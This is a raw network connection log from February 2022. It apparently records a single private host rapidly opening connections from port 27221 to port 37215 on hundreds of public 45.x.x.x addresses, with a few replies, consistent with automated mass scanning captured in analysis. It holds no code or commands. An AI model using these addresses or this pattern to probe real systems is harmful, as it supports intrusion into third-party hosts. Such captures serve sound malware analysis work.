Feb 20, 2022 16:02:47.713244915 CET	27221	37215	192.168.2.23	45.233.181.147
Feb 20, 2022 16:02:47.713244915 CET	27221	37215	192.168.2.23	45.46.165.209
Feb 20, 2022 16:02:47.713305950 CET	27221	37215	192.168.2.23	45.172.11.35
Feb 20, 2022 16:02:47.713347912 CET	27221	37215	192.168.2.23	45.49.182.57
Feb 20, 2022 16:02:47.713382006 CET	27221	37215	192.168.2.23	45.151.78.138
Feb 20, 2022 16:02:47.713421106 CET	27221	37215	192.168.2.23	45.81.27.9
Feb 20, 2022 16:02:47.713462114 CET	27221	37215	192.168.2.23	45.96.215.208
Feb 20, 2022 16:02:47.713541985 CET	27221	37215	192.168.2.23	45.62.182.83
Feb 20, 2022 16:02:47.713583946 CET	27221	37215	192.168.2.23	45.38.21.209
Feb 20, 2022 16:02:47.713583946 CET	27221	37215	192.168.2.23	45.8.225.236
Feb 20, 2022 16:02:47.713583946 CET	27221	37215	192.168.2.23	45.170.142.148
Feb 20, 2022 16:02:47.713681936 CET	27221	37215	192.168.2.23	45.116.139.208
Feb 20, 2022 16:02:47.713709116 CET	27221	37215	192.168.2.23	45.112.253.41
Feb 20, 2022 16:02:47.713741064 CET	27221	37215	192.168.2.23	45.76.140.36
Feb 20, 2022 16:02:47.713778019 CET	27221	37215	192.168.2.23	45.223.85.217
Feb 20, 2022 16:02:47.713819027 CET	27221	37215	192.168.2.23	45.249.232.89
Feb 20, 2022 16:02:47.713862896 CET	27221	37215	192.168.2.23	45.94.93.100
Feb 20, 2022 16:02:47.713915110 CET	27221	37215	192.168.2.23	45.62.130.212
Feb 20, 2022 16:02:47.713946104 CET	27221	37215	192.168.2.23	45.100.153.3
Feb 20, 2022 16:02:47.713953018 CET	27221	37215	192.168.2.23	45.10.191.48
Feb 20, 2022 16:02:47.713958025 CET	27221	37215	192.168.2.23	45.64.249.92
Feb 20, 2022 16:02:47.714010954 CET	27221	37215	192.168.2.23	45.69.112.118
Feb 20, 2022 16:02:47.714054108 CET	27221	37215	192.168.2.23	45.62.107.137
Feb 20, 2022 16:02:47.714066982 CET	27221	37215	192.168.2.23	45.129.149.47
Feb 20, 2022 16:02:47.714078903 CET	27221	37215	192.168.2.23	45.126.247.78
Feb 20, 2022 16:02:47.714202881 CET	27221	37215	192.168.2.23	45.93.212.30
Feb 20, 2022 16:02:47.714296103 CET	27221	37215	192.168.2.23	45.115.57.113
Feb 20, 2022 16:02:47.714296103 CET	27221	37215	192.168.2.23	45.234.207.71
Feb 20, 2022 16:02:47.714310884 CET	27221	37215	192.168.2.23	45.98.39.209
Feb 20, 2022 16:02:47.714323044 CET	27221	37215	192.168.2.23	45.208.82.213
Feb 20, 2022 16:02:47.714323997 CET	27221	37215	192.168.2.23	45.187.123.127
Feb 20, 2022 16:02:47.714339972 CET	27221	37215	192.168.2.23	45.100.185.65
Feb 20, 2022 16:02:47.714437962 CET	27221	37215	192.168.2.23	45.81.79.232
Feb 20, 2022 16:02:47.714437962 CET	27221	37215	192.168.2.23	45.240.252.20
Feb 20, 2022 16:02:47.714437962 CET	27221	37215	192.168.2.23	45.192.216.134
Feb 20, 2022 16:02:47.714487076 CET	27221	37215	192.168.2.23	45.47.221.52
Feb 20, 2022 16:02:47.714513063 CET	27221	37215	192.168.2.23	45.239.130.20
Feb 20, 2022 16:02:47.714550018 CET	27221	37215	192.168.2.23	45.160.104.172
Feb 20, 2022 16:02:47.714590073 CET	27221	37215	192.168.2.23	45.184.40.61
Feb 20, 2022 16:02:47.714632034 CET	27221	37215	192.168.2.23	45.25.105.47
Feb 20, 2022 16:02:47.714687109 CET	27221	37215	192.168.2.23	45.247.175.3
Feb 20, 2022 16:02:47.714716911 CET	27221	37215	192.168.2.23	45.99.47.197
Feb 20, 2022 16:02:47.714780092 CET	27221	37215	192.168.2.23	45.17.83.251
Feb 20, 2022 16:02:47.714844942 CET	27221	37215	192.168.2.23	45.143.37.33
Feb 20, 2022 16:02:47.714957952 CET	27221	37215	192.168.2.23	45.138.193.249
Feb 20, 2022 16:02:47.714962959 CET	27221	37215	192.168.2.23	45.96.190.219
Feb 20, 2022 16:02:47.714963913 CET	27221	37215	192.168.2.23	45.23.55.234
Feb 20, 2022 16:02:47.715069056 CET	27221	37215	192.168.2.23	45.49.1.102
Feb 20, 2022 16:02:47.715080976 CET	27221	37215	192.168.2.23	45.81.237.224
Feb 20, 2022 16:02:47.715090036 CET	27221	37215	192.168.2.23	45.83.56.102
Feb 20, 2022 16:02:47.715107918 CET	27221	37215	192.168.2.23	45.200.101.85
Feb 20, 2022 16:02:47.715143919 CET	27221	37215	192.168.2.23	45.165.24.11
Feb 20, 2022 16:02:47.715152025 CET	27221	37215	192.168.2.23	45.25.223.158
Feb 20, 2022 16:02:47.715168953 CET	27221	37215	192.168.2.23	45.238.10.215
Feb 20, 2022 16:02:47.715189934 CET	27221	37215	192.168.2.23	45.185.216.237
Feb 20, 2022 16:02:47.715228081 CET	27221	37215	192.168.2.23	45.35.129.184
Feb 20, 2022 16:02:47.715301037 CET	27221	37215	192.168.2.23	45.192.129.174
Feb 20, 2022 16:02:47.715367079 CET	27221	37215	192.168.2.23	45.126.0.149
Feb 20, 2022 16:02:47.715368986 CET	27221	37215	192.168.2.23	45.81.57.180
Feb 20, 2022 16:02:47.715383053 CET	27221	37215	192.168.2.23	45.153.82.99
Feb 20, 2022 16:02:47.715396881 CET	27221	37215	192.168.2.23	45.103.178.175
Feb 20, 2022 16:02:47.715428114 CET	27221	37215	192.168.2.23	45.15.194.23
Feb 20, 2022 16:02:47.715558052 CET	27221	37215	192.168.2.23	45.187.192.160
Feb 20, 2022 16:02:47.715581894 CET	27221	37215	192.168.2.23	45.10.244.168
Feb 20, 2022 16:02:47.715581894 CET	27221	37215	192.168.2.23	45.172.86.75
Feb 20, 2022 16:02:47.715673923 CET	27221	37215	192.168.2.23	45.83.81.234
Feb 20, 2022 16:02:47.715675116 CET	27221	37215	192.168.2.23	45.8.222.163
Feb 20, 2022 16:02:47.715689898 CET	27221	37215	192.168.2.23	45.124.15.24
Feb 20, 2022 16:02:47.715744972 CET	27221	37215	192.168.2.23	45.75.68.54
Feb 20, 2022 16:02:47.715783119 CET	27221	37215	192.168.2.23	45.74.135.48
Feb 20, 2022 16:02:47.715816021 CET	27221	37215	192.168.2.23	45.106.121.218
Feb 20, 2022 16:02:47.715848923 CET	27221	37215	192.168.2.23	45.96.66.46
Feb 20, 2022 16:02:47.715863943 CET	27221	37215	192.168.2.23	45.181.132.128
Feb 20, 2022 16:02:47.715877056 CET	27221	37215	192.168.2.23	45.165.35.211
Feb 20, 2022 16:02:47.715888023 CET	27221	37215	192.168.2.23	45.149.73.167
Feb 20, 2022 16:02:47.715888977 CET	27221	37215	192.168.2.23	45.201.183.52
Feb 20, 2022 16:02:47.716016054 CET	27221	37215	192.168.2.23	45.164.135.129
Feb 20, 2022 16:02:47.716016054 CET	27221	37215	192.168.2.23	45.106.1.123
Feb 20, 2022 16:02:47.716110945 CET	27221	37215	192.168.2.23	45.219.54.218
Feb 20, 2022 16:02:47.716155052 CET	27221	37215	192.168.2.23	45.228.34.30
Feb 20, 2022 16:02:47.716156006 CET	27221	37215	192.168.2.23	45.238.97.111
Feb 20, 2022 16:02:47.716162920 CET	27221	37215	192.168.2.23	45.77.29.233
Feb 20, 2022 16:02:47.716173887 CET	27221	37215	192.168.2.23	45.134.129.149
Feb 20, 2022 16:02:47.716197014 CET	27221	37215	192.168.2.23	45.137.253.188
Feb 20, 2022 16:02:47.716234922 CET	27221	37215	192.168.2.23	45.175.246.84
Feb 20, 2022 16:02:47.716314077 CET	27221	37215	192.168.2.23	45.210.55.34
Feb 20, 2022 16:02:47.716326952 CET	27221	37215	192.168.2.23	45.168.0.76
Feb 20, 2022 16:02:47.716367006 CET	27221	37215	192.168.2.23	45.141.29.188
Feb 20, 2022 16:02:47.716428041 CET	27221	37215	192.168.2.23	45.130.39.205
Feb 20, 2022 16:02:47.716428995 CET	27221	37215	192.168.2.23	45.185.88.229
Feb 20, 2022 16:02:47.716484070 CET	27221	37215	192.168.2.23	45.129.197.196
Feb 20, 2022 16:02:47.716502905 CET	27221	37215	192.168.2.23	45.59.110.160
Feb 20, 2022 16:02:47.716543913 CET	27221	37215	192.168.2.23	45.200.53.110
Feb 20, 2022 16:02:47.716582060 CET	27221	37215	192.168.2.23	45.152.105.197
Feb 20, 2022 16:02:47.716619015 CET	27221	37215	192.168.2.23	45.22.44.10
Feb 20, 2022 16:02:47.716733932 CET	27221	37215	192.168.2.23	45.175.80.50
Feb 20, 2022 16:02:47.716808081 CET	27221	37215	192.168.2.23	45.119.23.173
Feb 20, 2022 16:02:47.716851950 CET	27221	37215	192.168.2.23	45.43.183.234
Feb 20, 2022 16:02:47.716861010 CET	27221	37215	192.168.2.23	45.98.27.218
Feb 20, 2022 16:02:47.716866970 CET	27221	37215	192.168.2.23	45.43.217.52
Feb 20, 2022 16:02:47.716871977 CET	27221	37215	192.168.2.23	45.141.39.181
Feb 20, 2022 16:02:47.716893911 CET	27221	37215	192.168.2.23	45.193.106.82
Feb 20, 2022 16:02:47.716901064 CET	27221	37215	192.168.2.23	45.108.202.52
Feb 20, 2022 16:02:47.716990948 CET	27221	37215	192.168.2.23	45.164.171.31
Feb 20, 2022 16:02:47.717025995 CET	27221	37215	192.168.2.23	45.165.10.49
Feb 20, 2022 16:02:47.717057943 CET	27221	37215	192.168.2.23	45.53.12.231
Feb 20, 2022 16:02:47.717075109 CET	27221	37215	192.168.2.23	45.76.131.44
Feb 20, 2022 16:02:47.717144966 CET	27221	37215	192.168.2.23	45.213.119.48
Feb 20, 2022 16:02:47.717209101 CET	27221	37215	192.168.2.23	45.252.147.200
Feb 20, 2022 16:02:47.717245102 CET	27221	37215	192.168.2.23	45.180.63.93
Feb 20, 2022 16:02:47.717245102 CET	27221	37215	192.168.2.23	45.166.39.13
Feb 20, 2022 16:02:47.717359066 CET	27221	37215	192.168.2.23	45.164.224.40
Feb 20, 2022 16:02:47.717361927 CET	27221	37215	192.168.2.23	45.187.239.237
Feb 20, 2022 16:02:47.717372894 CET	27221	37215	192.168.2.23	45.2.184.168
Feb 20, 2022 16:02:47.717398882 CET	27221	37215	192.168.2.23	45.19.2.130
Feb 20, 2022 16:02:47.717438936 CET	27221	37215	192.168.2.23	45.104.137.243
Feb 20, 2022 16:02:47.717475891 CET	37215	27477	154.147.154.85	192.168.2.23
Feb 20, 2022 16:02:47.717478037 CET	27221	37215	192.168.2.23	45.73.101.112
Feb 20, 2022 16:02:47.717505932 CET	27221	37215	192.168.2.23	45.106.245.124
Feb 20, 2022 16:02:47.717566013 CET	27221	37215	192.168.2.23	45.235.171.236
Feb 20, 2022 16:02:47.717566013 CET	27221	37215	192.168.2.23	45.146.211.25
Feb 20, 2022 16:02:47.717567921 CET	27221	37215	192.168.2.23	45.114.133.216
Feb 20, 2022 16:02:47.717576027 CET	27221	37215	192.168.2.23	45.197.101.224
Feb 20, 2022 16:02:47.717588902 CET	27221	37215	192.168.2.23	45.206.184.154
Feb 20, 2022 16:02:47.717607975 CET	27221	37215	192.168.2.23	45.8.246.143
Feb 20, 2022 16:02:47.717668056 CET	27221	37215	192.168.2.23	45.100.26.171
Feb 20, 2022 16:02:47.717704058 CET	27221	37215	192.168.2.23	45.51.76.121
Feb 20, 2022 16:02:47.717705011 CET	27221	37215	192.168.2.23	45.25.82.56
Feb 20, 2022 16:02:47.717803955 CET	27221	37215	192.168.2.23	45.162.19.10
Feb 20, 2022 16:02:47.717819929 CET	27221	37215	192.168.2.23	45.127.20.61
Feb 20, 2022 16:02:47.717839956 CET	27221	37215	192.168.2.23	45.207.146.11
Feb 20, 2022 16:02:47.717901945 CET	27221	37215	192.168.2.23	45.209.179.47
Feb 20, 2022 16:02:47.717933893 CET	27221	37215	192.168.2.23	45.119.2.188
Feb 20, 2022 16:02:47.718003035 CET	27221	37215	192.168.2.23	45.52.13.169
Feb 20, 2022 16:02:47.718010902 CET	27221	37215	192.168.2.23	45.191.189.107
Feb 20, 2022 16:02:47.718015909 CET	27221	37215	192.168.2.23	45.59.197.56
Feb 20, 2022 16:02:47.718023062 CET	27221	37215	192.168.2.23	45.96.237.229
Feb 20, 2022 16:02:47.718091011 CET	27221	37215	192.168.2.23	45.113.62.140
Feb 20, 2022 16:02:47.718106031 CET	27221	37215	192.168.2.23	45.209.122.51
Feb 20, 2022 16:02:47.718106985 CET	27221	37215	192.168.2.23	45.78.143.12
Feb 20, 2022 16:02:47.718122005 CET	27221	37215	192.168.2.23	45.71.153.17
Feb 20, 2022 16:02:47.718154907 CET	27221	37215	192.168.2.23	45.242.155.0
Feb 20, 2022 16:02:47.718215942 CET	27221	37215	192.168.2.23	45.153.198.86
Feb 20, 2022 16:02:47.718251944 CET	27221	37215	192.168.2.23	45.22.122.104
Feb 20, 2022 16:02:47.718254089 CET	27221	37215	192.168.2.23	45.181.49.83
Feb 20, 2022 16:02:47.718310118 CET	27221	37215	192.168.2.23	45.30.204.1
Feb 20, 2022 16:02:47.718383074 CET	27221	37215	192.168.2.23	45.252.230.246
Feb 20, 2022 16:02:47.718417883 CET	27221	37215	192.168.2.23	45.113.44.233
Feb 20, 2022 16:02:47.718554020 CET	27221	37215	192.168.2.23	45.37.188.50
Feb 20, 2022 16:02:47.718555927 CET	27221	37215	192.168.2.23	45.99.155.4
Feb 20, 2022 16:02:47.720380068 CET	27221	37215	192.168.2.23	45.230.100.189
Feb 20, 2022 16:02:47.720474958 CET	27221	37215	192.168.2.23	45.139.244.123
Feb 20, 2022 16:02:47.720477104 CET	27221	37215	192.168.2.23	45.42.126.150
Feb 20, 2022 16:02:47.720494032 CET	27221	37215	192.168.2.23	45.0.250.161
Feb 20, 2022 16:02:47.720566988 CET	27221	37215	192.168.2.23	45.196.62.127
Feb 20, 2022 16:02:47.720570087 CET	27221	37215	192.168.2.23	45.213.243.66
Feb 20, 2022 16:02:47.720570087 CET	27221	37215	192.168.2.23	45.144.51.61
Feb 20, 2022 16:02:47.720597029 CET	27221	37215	192.168.2.23	45.122.117.11
Feb 20, 2022 16:02:47.720654964 CET	27221	37215	192.168.2.23	45.115.137.205
Feb 20, 2022 16:02:47.720655918 CET	27221	37215	192.168.2.23	45.155.46.195
Feb 20, 2022 16:02:47.720689058 CET	27221	37215	192.168.2.23	45.200.154.73
Feb 20, 2022 16:02:47.720741034 CET	27221	37215	192.168.2.23	45.39.116.182
Feb 20, 2022 16:02:47.720751047 CET	27221	37215	192.168.2.23	45.176.155.56
Feb 20, 2022 16:02:47.720752001 CET	27221	37215	192.168.2.23	45.98.232.56
Feb 20, 2022 16:02:47.720827103 CET	27221	37215	192.168.2.23	45.186.14.50
Feb 20, 2022 16:02:47.720829964 CET	27221	37215	192.168.2.23	45.103.254.49
Feb 20, 2022 16:02:47.720830917 CET	27221	37215	192.168.2.23	45.206.243.166
Feb 20, 2022 16:02:47.720916033 CET	27221	37215	192.168.2.23	45.180.90.253
Feb 20, 2022 16:02:47.720921040 CET	27221	37215	192.168.2.23	45.49.27.2
Feb 20, 2022 16:02:47.720973015 CET	27221	37215	192.168.2.23	45.223.234.15
Feb 20, 2022 16:02:47.721016884 CET	27221	37215	192.168.2.23	45.145.48.150
Feb 20, 2022 16:02:47.721021891 CET	27221	37215	192.168.2.23	45.76.239.70
Feb 20, 2022 16:02:47.721086979 CET	27221	37215	192.168.2.23	45.206.171.188
Feb 20, 2022 16:02:47.721088886 CET	27221	37215	192.168.2.23	45.125.38.235
Feb 20, 2022 16:02:47.721157074 CET	27221	37215	192.168.2.23	45.85.194.186
Feb 20, 2022 16:02:47.721157074 CET	27221	37215	192.168.2.23	45.225.138.18
Feb 20, 2022 16:02:47.721158981 CET	27221	37215	192.168.2.23	45.139.9.207
Feb 20, 2022 16:02:47.721240997 CET	27221	37215	192.168.2.23	45.75.138.50
Feb 20, 2022 16:02:47.721270084 CET	27221	37215	192.168.2.23	45.242.231.38
Feb 20, 2022 16:02:47.721270084 CET	27221	37215	192.168.2.23	45.208.16.163
Feb 20, 2022 16:02:47.721304893 CET	27221	37215	192.168.2.23	45.155.204.131
Feb 20, 2022 16:02:47.721354961 CET	27221	37215	192.168.2.23	45.27.192.189
Feb 20, 2022 16:02:47.721386909 CET	27221	37215	192.168.2.23	45.160.248.166
Feb 20, 2022 16:02:47.721420050 CET	27221	37215	192.168.2.23	45.83.245.236
Feb 20, 2022 16:02:47.721471071 CET	27221	37215	192.168.2.23	45.50.110.5
Feb 20, 2022 16:02:47.721483946 CET	27221	37215	192.168.2.23	45.36.208.222
Feb 20, 2022 16:02:47.721486092 CET	27221	37215	192.168.2.23	45.47.191.29
Feb 20, 2022 16:02:47.721496105 CET	27221	37215	192.168.2.23	45.33.178.60
Feb 20, 2022 16:02:47.721575975 CET	27221	37215	192.168.2.23	45.10.153.155
Feb 20, 2022 16:02:47.721579075 CET	27221	37215	192.168.2.23	45.138.243.171
Feb 20, 2022 16:02:47.721638918 CET	27221	37215	192.168.2.23	45.121.195.29
Feb 20, 2022 16:02:47.721638918 CET	27221	37215	192.168.2.23	45.75.161.177
Feb 20, 2022 16:02:47.721647978 CET	27221	37215	192.168.2.23	45.48.15.138
Feb 20, 2022 16:02:47.721719980 CET	27221	37215	192.168.2.23	45.72.18.7
Feb 20, 2022 16:02:47.721731901 CET	27221	37215	192.168.2.23	45.157.217.33
Feb 20, 2022 16:02:47.721766949 CET	27221	37215	192.168.2.23	45.221.36.96
Feb 20, 2022 16:02:47.721823931 CET	27221	37215	192.168.2.23	45.179.80.228
Feb 20, 2022 16:02:47.721872091 CET	27221	37215	192.168.2.23	45.92.219.136
Feb 20, 2022 16:02:47.721893072 CET	27221	37215	192.168.2.23	45.13.104.224
Feb 20, 2022 16:02:47.721930027 CET	27221	37215	192.168.2.23	45.66.144.110
Feb 20, 2022 16:02:47.721947908 CET	27221	37215	192.168.2.23	45.207.109.197
Feb 20, 2022 16:02:47.721995115 CET	27221	37215	192.168.2.23	45.120.29.249
Feb 20, 2022 16:02:47.721995115 CET	27221	37215	192.168.2.23	45.219.214.118
Feb 20, 2022 16:02:47.722007990 CET	27221	37215	192.168.2.23	45.255.38.38
Feb 20, 2022 16:02:47.722012997 CET	37215	27477	154.210.144.204	192.168.2.23
Feb 20, 2022 16:02:47.722019911 CET	27221	37215	192.168.2.23	45.25.73.75
Feb 20, 2022 16:02:47.722110033 CET	27221	37215	192.168.2.23	45.74.158.44
Feb 20, 2022 16:02:47.722111940 CET	27221	37215	192.168.2.23	45.118.42.93
Feb 20, 2022 16:02:47.722111940 CET	27221	37215	192.168.2.23	45.49.55.205
Feb 20, 2022 16:02:47.722170115 CET	37215	27477	154.207.42.134	192.168.2.23
Feb 20, 2022 16:02:47.722206116 CET	27221	37215	192.168.2.23	45.76.148.142
Feb 20, 2022 16:02:47.722207069 CET	27221	37215	192.168.2.23	45.134.85.27
Feb 20, 2022 16:02:47.722223043 CET	27221	37215	192.168.2.23	45.38.223.50
Feb 20, 2022 16:02:47.722312927 CET	27221	37215	192.168.2.23	45.50.23.40
Feb 20, 2022 16:02:47.722315073 CET	27221	37215	192.168.2.23	45.241.7.230
Feb 20, 2022 16:02:47.722315073 CET	27221	37215	192.168.2.23	45.142.80.219
Feb 20, 2022 16:02:47.722392082 CET	27221	37215	192.168.2.23	45.195.117.12
Feb 20, 2022 16:02:47.722425938 CET	27221	37215	192.168.2.23	45.235.238.215
Feb 20, 2022 16:02:47.722425938 CET	27221	37215	192.168.2.23	45.25.112.69
Feb 20, 2022 16:02:47.722444057 CET	27221	37215	192.168.2.23	45.245.250.54
Feb 20, 2022 16:02:47.722485065 CET	27221	37215	192.168.2.23	45.167.83.5
Feb 20, 2022 16:02:47.722507954 CET	27221	37215	192.168.2.23	45.254.253.28
Feb 20, 2022 16:02:47.722575903 CET	27221	37215	192.168.2.23	45.172.95.185
Feb 20, 2022 16:02:47.722575903 CET	27221	37215	192.168.2.23	45.27.139.245
Feb 20, 2022 16:02:47.722579956 CET	27221	37215	192.168.2.23	45.181.252.165
Feb 20, 2022 16:02:47.722610950 CET	27221	37215	192.168.2.23	45.85.77.164
Feb 20, 2022 16:02:47.722673893 CET	27221	37215	192.168.2.23	45.92.228.214
Feb 20, 2022 16:02:47.722703934 CET	27221	37215	192.168.2.23	45.157.18.157
Feb 20, 2022 16:02:47.722763062 CET	27221	37215	192.168.2.23	45.96.232.89
Feb 20, 2022 16:02:47.722798109 CET	27221	37215	192.168.2.23	45.29.39.50
Feb 20, 2022 16:02:47.722798109 CET	27221	37215	192.168.2.23	45.162.250.99
Feb 20, 2022 16:02:47.722817898 CET	27221	37215	192.168.2.23	45.122.197.52
Feb 20, 2022 16:02:47.722834110 CET	27221	37215	192.168.2.23	45.36.170.138
Feb 20, 2022 16:02:47.722915888 CET	27221	37215	192.168.2.23	45.39.203.103
Feb 20, 2022 16:02:47.722949982 CET	27221	37215	192.168.2.23	45.193.122.229
Feb 20, 2022 16:02:47.722951889 CET	27221	37215	192.168.2.23	45.35.85.96
Feb 20, 2022 16:02:47.722954035 CET	27221	37215	192.168.2.23	45.25.198.30
Feb 20, 2022 16:02:47.723007917 CET	27221	37215	192.168.2.23	45.147.251.228
Feb 20, 2022 16:02:47.723038912 CET	27221	37215	192.168.2.23	45.68.193.131
Feb 20, 2022 16:02:47.723102093 CET	27221	37215	192.168.2.23	45.17.129.77
Feb 20, 2022 16:02:47.723144054 CET	27221	37215	192.168.2.23	45.179.179.56
Feb 20, 2022 16:02:47.723144054 CET	27221	37215	192.168.2.23	45.46.61.137
Feb 20, 2022 16:02:47.723157883 CET	27221	37215	192.168.2.23	45.109.136.182
Feb 20, 2022 16:02:47.723181963 CET	27221	37215	192.168.2.23	45.151.66.98
Feb 20, 2022 16:02:47.723215103 CET	27221	37215	192.168.2.23	45.248.171.82
Feb 20, 2022 16:02:47.723274946 CET	27221	37215	192.168.2.23	45.118.165.7
Feb 20, 2022 16:02:47.723304033 CET	27221	37215	192.168.2.23	45.81.180.5
Feb 20, 2022 16:02:47.723334074 CET	27221	37215	192.168.2.23	45.60.126.50
Feb 20, 2022 16:02:47.723339081 CET	27221	37215	192.168.2.23	45.224.165.82
Feb 20, 2022 16:02:47.723560095 CET	27221	37215	192.168.2.23	45.155.206.132
Feb 20, 2022 16:02:47.723637104 CET	27221	37215	192.168.2.23	45.216.140.243
Feb 20, 2022 16:02:47.723710060 CET	27221	37215	192.168.2.23	45.253.214.133
Feb 20, 2022 16:02:47.723754883 CET	27221	37215	192.168.2.23	45.146.28.46
Feb 20, 2022 16:02:47.723756075 CET	27221	37215	192.168.2.23	45.167.134.100
Feb 20, 2022 16:02:47.723766088 CET	27221	37215	192.168.2.23	45.5.149.85
Feb 20, 2022 16:02:47.723767042 CET	27221	37215	192.168.2.23	45.92.123.2
Feb 20, 2022 16:02:47.723776102 CET	27221	37215	192.168.2.23	45.210.43.210
Feb 20, 2022 16:02:47.723778009 CET	27221	37215	192.168.2.23	45.2.143.42
Feb 20, 2022 16:02:47.723783016 CET	27221	37215	192.168.2.23	45.179.115.247
Feb 20, 2022 16:02:47.723797083 CET	27221	37215	192.168.2.23	45.145.240.55
Feb 20, 2022 16:02:47.723843098 CET	27221	37215	192.168.2.23	45.110.150.54
Feb 20, 2022 16:02:47.723937988 CET	27221	37215	192.168.2.23	45.132.248.125
Feb 20, 2022 16:02:47.723990917 CET	27221	37215	192.168.2.23	45.224.107.172
Feb 20, 2022 16:02:47.723990917 CET	27221	37215	192.168.2.23	45.158.148.75
Feb 20, 2022 16:02:47.724036932 CET	27221	37215	192.168.2.23	45.187.208.34
Feb 20, 2022 16:02:47.724036932 CET	27221	37215	192.168.2.23	45.111.42.25
Feb 20, 2022 16:02:47.724040031 CET	27221	37215	192.168.2.23	45.149.134.165
Feb 20, 2022 16:02:47.724072933 CET	27221	37215	192.168.2.23	45.152.182.42
Feb 20, 2022 16:02:47.724128008 CET	27221	37215	192.168.2.23	45.89.210.216
Feb 20, 2022 16:02:47.724164009 CET	27221	37215	192.168.2.23	45.48.175.38
Feb 20, 2022 16:02:47.724200010 CET	27221	37215	192.168.2.23	45.210.108.203
Feb 20, 2022 16:02:47.724239111 CET	27221	37215	192.168.2.23	45.13.90.54
Feb 20, 2022 16:02:47.724317074 CET	27221	37215	192.168.2.23	45.12.166.25
Feb 20, 2022 16:02:47.724355936 CET	27221	37215	192.168.2.23	45.149.166.178
Feb 20, 2022 16:02:47.724355936 CET	27221	37215	192.168.2.23	45.241.147.47
Feb 20, 2022 16:02:47.724366903 CET	27221	37215	192.168.2.23	45.76.89.219
Feb 20, 2022 16:02:47.724431992 CET	27221	37215	192.168.2.23	45.36.41.3
Feb 20, 2022 16:02:47.724471092 CET	27221	37215	192.168.2.23	45.160.227.71
Feb 20, 2022 16:02:47.724525928 CET	27221	37215	192.168.2.23	45.30.195.185
Feb 20, 2022 16:02:47.724586010 CET	27221	37215	192.168.2.23	45.52.7.75
Feb 20, 2022 16:02:47.724600077 CET	27221	37215	192.168.2.23	45.68.228.81
Feb 20, 2022 16:02:47.724638939 CET	27221	37215	192.168.2.23	45.18.174.0
Feb 20, 2022 16:02:47.724694967 CET	27221	37215	192.168.2.23	45.151.145.188
Feb 20, 2022 16:02:47.724694967 CET	27221	37215	192.168.2.23	45.26.186.163
Feb 20, 2022 16:02:47.724709034 CET	27221	37215	192.168.2.23	45.219.79.81
Feb 20, 2022 16:02:47.724724054 CET	27221	37215	192.168.2.23	45.80.51.126
Feb 20, 2022 16:02:47.724757910 CET	27221	37215	192.168.2.23	45.183.130.168
Feb 20, 2022 16:02:47.728568077 CET	27221	37215	192.168.2.23	45.135.110.54
Feb 20, 2022 16:02:47.729921103 CET	27221	37215	192.168.2.23	45.81.154.226
Feb 20, 2022 16:02:47.730031967 CET	27221	37215	192.168.2.23	45.248.66.202
Feb 20, 2022 16:02:47.730067968 CET	27221	37215	192.168.2.23	45.163.94.150
Feb 20, 2022 16:02:47.730068922 CET	27221	37215	192.168.2.23	45.92.229.194
Feb 20, 2022 16:02:47.730070114 CET	27221	37215	192.168.2.23	45.60.106.13
Feb 20, 2022 16:02:47.730134010 CET	27221	37215	192.168.2.23	45.229.216.105
Feb 20, 2022 16:02:47.730164051 CET	27221	37215	192.168.2.23	45.30.186.77
Feb 20, 2022 16:02:47.730165005 CET	27221	37215	192.168.2.23	45.120.200.145
Feb 20, 2022 16:02:47.730201006 CET	27221	37215	192.168.2.23	45.5.94.238
Feb 20, 2022 16:02:47.730252028 CET	27221	37215	192.168.2.23	45.17.25.237
Feb 20, 2022 16:02:47.730259895 CET	27221	37215	192.168.2.23	45.162.246.140
Feb 20, 2022 16:02:47.730377913 CET	27221	37215	192.168.2.23	45.63.188.78
Feb 20, 2022 16:02:47.730384111 CET	27221	37215	192.168.2.23	45.233.214.133
Feb 20, 2022 16:02:47.730411053 CET	27221	37215	192.168.2.23	45.115.41.253
Feb 20, 2022 16:02:47.730412006 CET	27221	37215	192.168.2.23	45.143.129.177
Feb 20, 2022 16:02:47.730467081 CET	27221	37215	192.168.2.23	45.2.36.122
Feb 20, 2022 16:02:47.730475903 CET	27221	37215	192.168.2.23	45.193.255.254
Feb 20, 2022 16:02:47.730536938 CET	27221	37215	192.168.2.23	45.216.243.176
Feb 20, 2022 16:02:47.730537891 CET	27221	37215	192.168.2.23	45.189.218.18
Feb 20, 2022 16:02:47.730597973 CET	27221	37215	192.168.2.23	45.70.175.164
Feb 20, 2022 16:02:47.730627060 CET	27221	37215	192.168.2.23	45.96.210.189
Feb 20, 2022 16:02:47.730638027 CET	27221	37215	192.168.2.23	45.101.254.122
Feb 20, 2022 16:02:47.730685949 CET	27221	37215	192.168.2.23	45.38.142.220
Feb 20, 2022 16:02:47.730715990 CET	27221	37215	192.168.2.23	45.138.62.48
Feb 20, 2022 16:02:47.730740070 CET	27221	37215	192.168.2.23	45.34.30.92
Feb 20, 2022 16:02:47.730771065 CET	27221	37215	192.168.2.23	45.210.175.232
Feb 20, 2022 16:02:47.730817080 CET	27221	37215	192.168.2.23	45.233.187.40
Feb 20, 2022 16:02:47.730834961 CET	27221	37215	192.168.2.23	45.78.253.203
Feb 20, 2022 16:02:47.730882883 CET	27221	37215	192.168.2.23	45.69.166.42
Feb 20, 2022 16:02:47.730937004 CET	27221	37215	192.168.2.23	45.167.148.122
Feb 20, 2022 16:02:47.730937958 CET	27221	37215	192.168.2.23	45.149.182.144
Feb 20, 2022 16:02:47.730969906 CET	27221	37215	192.168.2.23	45.77.212.128
Feb 20, 2022 16:02:47.730998039 CET	27221	37215	192.168.2.23	45.43.84.7
Feb 20, 2022 16:02:47.731056929 CET	27221	37215	192.168.2.23	45.37.15.222
Feb 20, 2022 16:02:47.731093884 CET	27221	37215	192.168.2.23	45.103.33.90
Feb 20, 2022 16:02:47.731106997 CET	27221	37215	192.168.2.23	45.155.12.59
Feb 20, 2022 16:02:47.731107950 CET	27221	37215	192.168.2.23	45.191.151.32
Feb 20, 2022 16:02:47.731157064 CET	27221	37215	192.168.2.23	45.178.48.33
Feb 20, 2022 16:02:47.731193066 CET	27221	37215	192.168.2.23	45.205.222.184
Feb 20, 2022 16:02:47.731230974 CET	27221	37215	192.168.2.23	45.105.146.164
Feb 20, 2022 16:02:47.731240988 CET	27221	37215	192.168.2.23	45.184.234.63
Feb 20, 2022 16:02:47.731303930 CET	27221	37215	192.168.2.23	45.49.238.80
Feb 20, 2022 16:02:47.731311083 CET	27221	37215	192.168.2.23	45.142.123.254
Feb 20, 2022 16:02:47.731427908 CET	27221	37215	192.168.2.23	45.10.94.194
Feb 20, 2022 16:02:47.731429100 CET	27221	37215	192.168.2.23	45.224.254.185
